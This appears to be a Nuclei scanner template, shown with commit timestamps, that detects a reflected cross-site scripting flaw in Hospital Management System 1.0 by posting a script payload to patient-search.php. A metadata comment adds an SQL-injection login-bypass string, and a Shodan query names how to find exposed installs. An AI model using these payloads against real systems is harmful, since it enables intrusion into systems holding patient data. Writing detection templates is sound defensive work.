nuclei-templates/http/vulnerabilities/other/hospital-management-xss2.yaml

44 lines
1.6 KiB
YAML
Raw Normal View History

id: hospital-management-xss2
2022-09-14 13:07:11 +00:00
info:
name: Hospital Management System 1.0 - Cross-Site Scripting
2022-09-14 13:07:11 +00:00
author: arafatansari
severity: high
2022-09-14 13:07:11 +00:00
description: |
Hospital Management System 1.0 contains a cross-site scripting vulnerability via the searchdata parameter in patient-search.php.
reference:
- https://vulmon.com/vulnerabilitydetails?qid=CVE-2021-39411&scoretype=cvssv3
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
2022-09-14 13:07:11 +00:00
metadata:
verified: true
2023-10-14 11:27:55 +00:00
max-request: 2
shodan-query: http.html:"Hospital Management System"
comment: Login bypass is also possible using the payload - admin'+or+'1'%3D'1' in username.
tags: hms,hospital,cms,xss,authenticated
2022-09-14 13:07:11 +00:00
http:
2022-09-14 13:07:11 +00:00
- raw:
- |
POST /hms/admin/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2022-09-14 13:17:17 +00:00
username={{username}}&password={{password}}&submit=
2022-09-14 13:07:11 +00:00
- |
POST /hms/admin/patient-search.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
searchdata=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&search=
2022-09-14 13:07:11 +00:00
matchers:
- type: dsl
dsl:
- 'contains(header_2, "text/html")'
- "status_code_2 == 200"
- contains(body_2, 'Result against \"<script>alert(document.domain)</script>\" keyword')
condition: and
# digest: 490a0046304402201fd2d94d5cd4f88128f78dce57cef5f644a57d4855caa3cf711951c3b8ba809a022033b12e77f07ab3b27973cad6bc36ddcd57f685a508c3dbcde97432bec09f4a6d:922c64590222798bb761d5b6d8e72950